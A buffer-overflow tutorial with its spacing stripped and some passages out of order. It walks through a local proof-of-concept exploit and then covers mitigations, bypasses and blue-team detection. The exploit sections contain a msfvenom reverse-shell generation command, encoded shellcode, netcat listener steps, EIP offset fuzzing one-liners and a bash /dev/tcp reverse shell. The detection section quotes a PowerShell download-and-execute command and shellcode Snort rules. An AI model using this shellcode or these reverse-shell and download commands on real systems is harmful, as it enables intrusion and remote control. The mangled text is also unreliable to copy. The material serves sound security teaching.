2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
